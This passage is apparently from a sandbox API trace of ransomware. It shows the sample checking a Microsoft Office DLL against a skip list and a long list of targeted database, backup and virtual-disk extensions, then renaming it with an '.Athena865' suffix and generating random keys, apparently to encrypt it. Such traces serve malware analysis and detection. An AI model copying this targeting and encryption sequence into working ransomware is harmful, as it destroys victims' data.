(lpString1="VVIEWRES.DLL", lpString2="pagefile.sys") returned 1 [0148.451] lstrcmpiW (lpString1="VVIEWRES.DLL", lpString2="boot") returned 1 [0148.451] lstrcmpiW (lpString1="VVIEWRES.DLL", lpString2="ids.txt") returned 1 [0148.451] lstrcmpiW (lpString1="VVIEWRES.DLL", lpString2="ntuser.dat") returned 1 [0148.451] lstrcmpiW (lpString1="VVIEWRES.DLL", lpString2="perflogs") returned 1 [0148.451] lstrcmpiW (lpString1="VVIEWRES.DLL", lpString2="MSBuild") returned 1 [0148.451] lstrlenW (lpString="VVIEWRES.DLL") returned 12 [0148.451] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VVIEWRES.DLL" | out: lpString1="VVIEWRES.DLL") returned="VVIEWRES.DLL" [0148.451] lstrlenW (lpString="VVIEWRES.DLL") returned 12 [0148.451] lstrlenW (lpString="Athena865") returned 9 [0148.451] lstrcmpiW (lpString1="EWRES.DLL", lpString2="Athena865") returned 1 [0148.451] lstrlenW (lpString=".dll") returned 4 [0148.451] lstrcmpiW (lpString1="VVIEWRES.DLL", lpString2=".dll") returned 1 [0148.451] lstrlenW (lpString=".lnk") returned 4 [0148.452] lstrcmpiW (lpString1="VVIEWRES.DLL", lpString2=".lnk") returned 1 [0148.452] lstrlenW (lpString=".ini") returned 4 [0148.452] lstrcmpiW (lpString1="VVIEWRES.DLL", lpString2=".ini") returned 1 [0148.452] lstrlenW (lpString=".sys") returned 4 [0148.452] lstrcmpiW (lpString1="VVIEWRES.DLL", lpString2=".sys") returned 1 [0148.452] lstrlenW (lpString="VVIEWRES.DLL") returned 12 [0148.452] lstrlenW (lpString="bak") returned 3 [0148.452] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0148.452] lstrlenW (lpString="ba_") returned 3 [0148.452] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0148.452] lstrlenW (lpString="dbb") returned 3 [0148.452] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0148.452] lstrlenW (lpString="vmdk") returned 4 [0148.452] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0148.452] lstrlenW (lpString="rar") returned 3 [0148.452] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0148.452] lstrlenW (lpString="zip") returned 3 [0148.452] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0148.452] lstrlenW (lpString="tgz") returned 3 [0148.452] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0148.452] lstrlenW (lpString="vbox") returned 4 [0148.452] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0148.452] lstrlenW (lpString="vdi") returned 3 [0148.452] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0148.452] lstrlenW (lpString="vhd") returned 3 [0148.452] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0148.452] lstrlenW (lpString="vhdx") returned 4 [0148.452] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0148.452] lstrlenW (lpString="avhd") returned 4 [0148.453] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0148.453] lstrlenW (lpString="db") returned 2 [0148.453] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0148.453] lstrlenW (lpString="db2") returned 3 [0148.453] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0148.453] lstrlenW (lpString="db3") returned 3 [0148.453] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0148.453] lstrlenW (lpString="dbf") returned 3 [0148.453] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0148.453] lstrlenW (lpString="mdf") returned 3 [0148.453] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0148.453] lstrlenW (lpString="mdb") returned 3 [0148.453] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0148.453] lstrlenW (lpString="sql") returned 3 [0148.453] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0148.453] lstrlenW (lpString="sqlite") returned 6 [0148.453] lstrcmpiW (lpString1="ES.DLL", lpString2="sqlite") returned -1 [0148.453] lstrlenW (lpString="sqlite3") returned 7 [0148.453] lstrcmpiW (lpString1="RES.DLL", lpString2="sqlite3") returned -1 [0148.453] lstrlenW (lpString="sqlitedb") returned 8 [0148.453] lstrcmpiW (lpString1="WRES.DLL", lpString2="sqlitedb") returned 1 [0148.453] lstrlenW (lpString="xml") returned 3 [0148.453] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0148.453] lstrlenW (lpString="$er") returned 3 [0148.453] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0148.453] lstrlenW (lpString="4dd") returned 3 [0148.453] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0148.453] lstrlenW (lpString="4dl") returned 3 [0148.453] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0148.454] lstrlenW (lpString="^^^") returned 3 [0148.454] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0148.454] lstrlenW (lpString="abs") returned 3 [0148.454] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0148.454] lstrlenW (lpString="abx") returned 3 [0148.454] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0148.454] lstrlenW (lpString="accdb") returned 5 [0148.454] lstrcmpiW (lpString1="S.DLL", lpString2="accdb") returned 1 [0148.454] lstrlenW (lpString="accdc") returned 5 [0148.454] lstrcmpiW (lpString1="S.DLL", lpString2="accdc") returned 1 [0148.454] lstrlenW (lpString="accde") returned 5 [0148.454] lstrcmpiW (lpString1="S.DLL", lpString2="accde") returned 1 [0148.454] lstrlenW (lpString="accdr") returned 5 [0148.454] lstrcmpiW (lpString1="S.DLL", lpString2="accdr") returned 1 [0148.454] lstrlenW (lpString="accdt") returned 5 [0148.454] lstrcmpiW (lpString1="S.DLL", lpString2="accdt") returned 1 [0148.454] lstrlenW (lpString="accdw") returned 5 [0148.454] lstrcmpiW (lpString1="S.DLL", lpString2="accdw") returned 1 [0148.454] lstrlenW (lpString="accft") returned 5 [0148.454] lstrcmpiW (lpString1="S.DLL", lpString2="accft") returned 1 [0148.454] lstrlenW (lpString="adb") returned 3 [0148.454] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0148.454] lstrlenW (lpString="adb") returned 3 [0148.454] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0148.454] lstrlenW (lpString="ade") returned 3 [0148.454] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0148.454] lstrlenW (lpString="adf") returned 3 [0148.454] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0148.455] lstrlenW (lpString="adn") returned 3 [0148.455] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0148.455] lstrlenW (lpString="adp") returned 3 [0148.455] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0148.455] lstrlenW (lpString="alf") returned 3 [0148.455] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0148.455] lstrlenW (lpString="ask") returned 3 [0148.455] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0148.455] lstrlenW (lpString="btr") returned 3 [0148.455] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0148.455] lstrlenW (lpString="cat") returned 3 [0148.455] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0148.455] lstrlenW (lpString="cdb") returned 3 [0148.455] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0148.455] lstrlenW (lpString="ckp") returned 3 [0148.455] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0148.455] lstrlenW (lpString="cma") returned 3 [0148.455] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0148.455] lstrlenW (lpString="cpd") returned 3 [0148.455] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0148.455] lstrlenW (lpString="dacpac") returned 6 [0148.455] lstrcmpiW (lpString1="ES.DLL", lpString2="dacpac") returned 1 [0148.455] lstrlenW (lpString="dad") returned 3 [0148.455] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0148.455] lstrlenW (lpString="dadiagrams") returned 10 [0148.455] lstrcmpiW (lpString1="IEWRES.DLL", lpString2="dadiagrams") returned 1 [0148.455] lstrlenW (lpString="daschema") returned 8 [0148.455] lstrcmpiW (lpString1="WRES.DLL", lpString2="daschema") returned 1 [0148.455] lstrlenW (lpString="db-journal") returned 10 [0148.456] lstrcmpiW (lpString1="IEWRES.DLL", lpString2="db-journal") returned 1 [0148.456] lstrlenW (lpString="db-shm") returned 6 [0148.456] lstrcmpiW (lpString1="ES.DLL", lpString2="db-shm") returned 1 [0148.456] lstrlenW (lpString="db-wal") returned 6 [0148.456] lstrcmpiW (lpString1="ES.DLL", lpString2="db-wal") returned 1 [0148.456] lstrlenW (lpString="dbc") returned 3 [0148.456] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0148.456] lstrlenW (lpString="dbs") returned 3 [0148.456] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0148.456] lstrlenW (lpString="dbt") returned 3 [0148.456] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0148.456] lstrlenW (lpString="dbv") returned 3 [0148.456] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0148.456] lstrlenW (lpString="dbx") returned 3 [0148.456] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0148.456] lstrlenW (lpString="dcb") returned 3 [0148.456] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0148.456] lstrlenW (lpString="dct") returned 3 [0148.456] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0148.456] lstrlenW (lpString="dcx") returned 3 [0148.456] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0148.456] lstrlenW (lpString="ddl") returned 3 [0148.456] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0148.456] lstrlenW (lpString="dlis") returned 4 [0148.456] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0148.456] lstrlenW (lpString="dp1") returned 3 [0148.456] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0148.456] lstrlenW (lpString="dqy") returned 3 [0148.457] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0148.457] lstrlenW (lpString="dsk") returned 3 [0148.457] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0148.457] lstrlenW (lpString="dsn") returned 3 [0148.457] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0148.457] lstrlenW (lpString="dtsx") returned 4 [0148.457] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0148.457] lstrlenW (lpString="dxl") returned 3 [0148.457] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0148.457] lstrlenW (lpString="eco") returned 3 [0148.457] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0148.457] lstrlenW (lpString="ecx") returned 3 [0148.457] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0148.457] lstrlenW (lpString="edb") returned 3 [0148.457] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0148.457] lstrlenW (lpString="epim") returned 4 [0148.457] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0148.457] lstrlenW (lpString="fcd") returned 3 [0148.457] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0148.457] lstrlenW (lpString="fdb") returned 3 [0148.457] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0148.457] lstrlenW (lpString="fic") returned 3 [0148.457] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0148.457] lstrlenW (lpString="flexolibrary") returned 12 [0148.457] lstrlenW (lpString="fm5") returned 3 [0148.457] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0148.457] lstrlenW (lpString="fmp") returned 3 [0148.457] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0148.457] lstrlenW (lpString="fmp12") returned 5 [0148.458] lstrcmpiW (lpString1="S.DLL", lpString2="fmp12") returned 1 [0148.458] lstrlenW (lpString="fmpsl") returned 5 [0148.458] lstrcmpiW (lpString1="S.DLL", lpString2="fmpsl") returned 1 [0148.458] lstrlenW (lpString="fol") returned 3 [0148.458] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0148.458] lstrlenW (lpString="fp3") returned 3 [0148.458] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0148.458] lstrlenW (lpString="fp4") returned 3 [0148.458] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0148.458] lstrlenW (lpString="fp5") returned 3 [0148.458] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0148.458] lstrlenW (lpString="fp7") returned 3 [0148.458] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0148.458] lstrlenW (lpString="fpt") returned 3 [0148.458] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0148.458] lstrlenW (lpString="frm") returned 3 [0148.458] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0148.458] lstrlenW (lpString="gdb") returned 3 [0148.458] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0148.458] lstrlenW (lpString="gdb") returned 3 [0148.458] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0148.458] lstrlenW (lpString="grdb") returned 4 [0148.458] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0148.458] lstrlenW (lpString="gwi") returned 3 [0148.458] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0148.458] lstrlenW (lpString="hdb") returned 3 [0148.458] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0148.458] lstrlenW (lpString="his") returned 3 [0148.459] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0148.459] lstrlenW (lpString="ib") returned 2 [0148.459] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0148.459] lstrlenW (lpString="idb") returned 3 [0148.459] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0148.459] lstrlenW (lpString="ihx") returned 3 [0148.459] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0148.459] lstrlenW (lpString="itdb") returned 4 [0148.459] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0148.459] lstrlenW (lpString="itw") returned 3 [0148.459] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0148.459] lstrlenW (lpString="jet") returned 3 [0148.459] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0148.459] lstrlenW (lpString="jtx") returned 3 [0148.459] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0148.459] lstrlenW (lpString="kdb") returned 3 [0148.459] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0148.459] lstrlenW (lpString="kexi") returned 4 [0148.459] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0148.459] lstrlenW (lpString="kexic") returned 5 [0148.459] lstrcmpiW (lpString1="S.DLL", lpString2="kexic") returned 1 [0148.459] lstrlenW (lpString="kexis") returned 5 [0148.459] lstrcmpiW (lpString1="S.DLL", lpString2="kexis") returned 1 [0148.459] lstrlenW (lpString="lgc") returned 3 [0148.459] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0148.459] lstrlenW (lpString="lwx") returned 3 [0148.459] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0148.459] lstrlenW (lpString="maf") returned 3 [0148.460] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0148.460] lstrlenW (lpString="maq") returned 3 [0148.460] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0148.460] lstrlenW (lpString="mar") returned 3 [0148.460] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0148.460] lstrlenW (lpString="marshal") returned 7 [0148.460] lstrcmpiW (lpString1="RES.DLL", lpString2="marshal") returned 1 [0148.460] lstrlenW (lpString="mas") returned 3 [0148.460] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0148.460] lstrlenW (lpString="mav") returned 3 [0148.460] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0148.460] lstrlenW (lpString="maw") returned 3 [0148.460] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0148.460] lstrlenW (lpString="mdbhtml") returned 7 [0148.460] lstrcmpiW (lpString1="RES.DLL", lpString2="mdbhtml") returned 1 [0148.460] lstrlenW (lpString="mdn") returned 3 [0148.460] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0148.460] lstrlenW (lpString="mdt") returned 3 [0148.460] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0148.460] lstrlenW (lpString="mfd") returned 3 [0148.460] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0148.460] lstrlenW (lpString="mpd") returned 3 [0148.460] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0148.460] lstrlenW (lpString="mrg") returned 3 [0148.460] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0148.460] lstrlenW (lpString="mud") returned 3 [0148.460] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0148.460] lstrlenW (lpString="mwb") returned 3 [0148.461] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0148.461] lstrlenW (lpString="myd") returned 3 [0148.461] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0148.461] lstrlenW (lpString="ndf") returned 3 [0148.461] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0148.461] lstrlenW (lpString="nnt") returned 3 [0148.461] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0148.461] lstrlenW (lpString="nrmlib") returned 6 [0148.461] lstrcmpiW (lpString1="ES.DLL", lpString2="nrmlib") returned -1 [0148.461] lstrlenW (lpString="ns2") returned 3 [0148.461] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0148.461] lstrlenW (lpString="ns3") returned 3 [0148.461] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0148.461] lstrlenW (lpString="ns4") returned 3 [0148.461] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0148.461] lstrlenW (lpString="nsf") returned 3 [0148.461] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0148.461] lstrlenW (lpString="nv") returned 2 [0148.461] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0148.461] lstrlenW (lpString="nv2") returned 3 [0148.461] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0148.461] lstrlenW (lpString="nwdb") returned 4 [0148.461] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0148.461] lstrlenW (lpString="nyf") returned 3 [0148.461] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0148.461] lstrlenW (lpString="odb") returned 3 [0148.461] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0148.461] lstrlenW (lpString="odb") returned 3 [0148.461] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0148.462] lstrlenW (lpString="oqy") returned 3 [0148.462] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0148.462] lstrlenW (lpString="ora") returned 3 [0148.462] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0148.462] lstrlenW (lpString="orx") returned 3 [0148.462] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0148.462] lstrlenW (lpString="owc") returned 3 [0148.462] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0148.462] lstrlenW (lpString="p96") returned 3 [0148.462] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0148.462] lstrlenW (lpString="p97") returned 3 [0148.462] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0148.462] lstrlenW (lpString="pan") returned 3 [0148.462] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0148.462] lstrlenW (lpString="pdb") returned 3 [0148.462] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0148.462] lstrlenW (lpString="pdm") returned 3 [0148.462] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0148.462] lstrlenW (lpString="pnz") returned 3 [0148.462] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0148.462] lstrlenW (lpString="qry") returned 3 [0148.462] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0148.462] lstrlenW (lpString="qvd") returned 3 [0148.462] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0148.462] lstrlenW (lpString="rbf") returned 3 [0148.462] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0148.462] lstrlenW (lpString="rctd") returned 4 [0148.462] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0148.462] lstrlenW (lpString="rod") returned 3 [0148.463] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0148.463] lstrlenW (lpString="rodx") returned 4 [0148.463] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0148.463] lstrlenW (lpString="rpd") returned 3 [0148.463] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0148.463] lstrlenW (lpString="rsd") returned 3 [0148.463] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0148.463] lstrlenW (lpString="sas7bdat") returned 8 [0148.463] lstrcmpiW (lpString1="WRES.DLL", lpString2="sas7bdat") returned 1 [0148.463] lstrlenW (lpString="sbf") returned 3 [0148.463] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0148.463] lstrlenW (lpString="scx") returned 3 [0148.463] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0148.463] lstrlenW (lpString="sdb") returned 3 [0148.463] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0148.463] lstrlenW (lpString="sdc") returned 3 [0148.463] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0148.463] lstrlenW (lpString="sdf") returned 3 [0148.463] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0148.463] lstrlenW (lpString="sis") returned 3 [0148.463] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0148.463] lstrlenW (lpString="spq") returned 3 [0148.463] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0148.463] lstrlenW (lpString="te") returned 2 [0148.463] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0148.463] lstrlenW (lpString="teacher") returned 7 [0148.463] lstrcmpiW (lpString1="RES.DLL", lpString2="teacher") returned -1 [0148.463] lstrlenW (lpString="tmd") returned 3 [0148.463] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0148.464] lstrlenW (lpString="tps") returned 3 [0148.464] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0148.464] lstrlenW (lpString="trc") returned 3 [0148.464] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0148.464] lstrlenW (lpString="trc") returned 3 [0148.464] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0148.464] lstrlenW (lpString="trm") returned 3 [0148.464] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0148.464] lstrlenW (lpString="udb") returned 3 [0148.464] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0148.464] lstrlenW (lpString="udl") returned 3 [0148.464] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0148.464] lstrlenW (lpString="usr") returned 3 [0148.464] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0148.464] lstrlenW (lpString="v12") returned 3 [0148.464] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0148.464] lstrlenW (lpString="vis") returned 3 [0148.464] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0148.464] lstrlenW (lpString="vpd") returned 3 [0148.464] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0148.464] lstrlenW (lpString="vvv") returned 3 [0148.464] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0148.464] lstrlenW (lpString="wdb") returned 3 [0148.464] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0148.464] lstrlenW (lpString="wmdb") returned 4 [0148.464] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0148.464] lstrlenW (lpString="wrk") returned 3 [0148.464] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0148.464] lstrlenW (lpString="xdb") returned 3 [0148.464] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0148.465] lstrlenW (lpString="xld") returned 3 [0148.465] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0148.465] lstrlenW (lpString="xmlff") returned 5 [0148.465] lstrcmpiW (lpString1="S.DLL", lpString2="xmlff") returned -1 [0148.465] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL.Athena865") returned 70 [0148.465] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll.athena865"), dwFlags=0x1) returned 1 [0148.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0148.467] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=668544) returned 1 [0148.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.470] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.471] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.471] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.471] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa3680, lpName=0x0) returned 0x17c [0148.472] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa3680) returned 0x2bb0000 [0148.502] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.503] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.503] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0148.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0148.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0148.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0148.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.504] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0148.509] CloseHandle (hObject=0x17c) returned 1 [0148.509] CloseHandle (hObject=0x154) returned 1 [0148.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.510] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.512] FindNextFileW (in: hFindFile=0x529bd0, 